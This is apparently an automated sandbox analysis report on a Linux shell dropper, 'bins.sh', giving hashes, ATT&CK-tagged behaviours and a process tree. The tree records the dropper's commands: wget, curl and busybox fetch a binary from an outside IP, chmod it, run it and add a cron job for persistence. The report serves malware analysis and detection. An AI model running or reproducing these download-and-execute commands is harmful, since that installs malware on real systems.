Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
09-11-2024 17:27
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
44abefd5465444dcab746bfecbb8c39e
-
SHA1
c1351bb88084f4d4243abda067e7f8a2fcc38af2
-
SHA256
0ae70908cbb2ef856ca8fa16f43dbb8b411bf012b0612ce647de612371c922ca
-
SHA512
18f2b3bbded2119de5c8ee396124532e81e70b827e9373f4f6dde79e63b3cd81144bbdc63bfa06dd66f42466e5b92d928d5c5ea874cf43d9cc126c35ca5a75a0
-
SSDEEP
192:uNQwhwJwWw1wBwo4wqAbwhwJwWw1wBwJe:uNQwhwJwWw1wBwo4w5bwhwJwWw1wBw8
Malware Config
Signatures
-
Contacts a large (2209) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid process 1543 chmod -
Executes dropped EXE 1 IoCs
Processes:
OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlwioc pid process /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw 1544 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw -
Renames itself 1 IoCs
Processes:
OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlwpid process 1545 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.zzdGX7 crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlwdescription ioc process File opened for reading /proc/1671/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/5/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/83/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/89/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/545/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1643/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1651/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1664/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1746/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1761/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/17/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/520/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/937/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1102/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1627/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1641/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1765/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/179/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1620/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1768/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1615/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/8/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/181/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/700/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/993/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1530/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1571/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1614/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1662/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1727/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1760/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1790/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/23/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/171/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1190/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1566/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1644/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1660/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1723/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/22/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/79/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1091/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1326/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1572/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1705/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/524/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1169/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1567/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1661/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1678/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/20/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/84/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1213/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1598/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1680/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1689/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1754/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/3/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/36/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/170/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1731/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/1742/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/137/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw File opened for reading /proc/325/cmdline OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc process File opened for modification /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw wget File opened for modification /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw curl File opened for modification /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1535
-
/bin/rm/bin/rm bins.sh2⤵PID:1536
-
/usr/bin/wgetwget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- Writes file to tmp directory
PID:1537 -
/usr/bin/curlcurl -O http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- Writes file to tmp directory
PID:1541 -
/bin/busybox/bin/busybox wget http://87.120.84.230/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- Writes file to tmp directory
PID:1542 -
/bin/chmodchmod 777 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- File and Directory Permissions Modification
PID:1543 -
/tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw./OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1544 -
/bin/shsh -c "crontab -l"3⤵PID:1546
-
/usr/bin/crontabcrontab -l4⤵PID:1547
-
/bin/shsh -c "crontab -"3⤵PID:1548
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1549 -
/bin/rmrm OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw2⤵PID:1551
-
/usr/bin/wgetwget http://87.120.84.230/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s02⤵PID:1554
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
210B
MD5baddd7df2d9d3356fcffd7780a31773a
SHA12005e4c245198981b2ee6f52fe764837800d3c21
SHA2563ce3ebf98795895a7d92995a67afc1ee34d080c96eebfe8e91e52e90ca1b0014
SHA512624e929f5b0557c196abc9d49d5879c15e9c23637b42da15616b625d965c03d156522da891111c2d9cb5aca4c9b5bdab965c6082e5498cb26a254dbe6698a2b7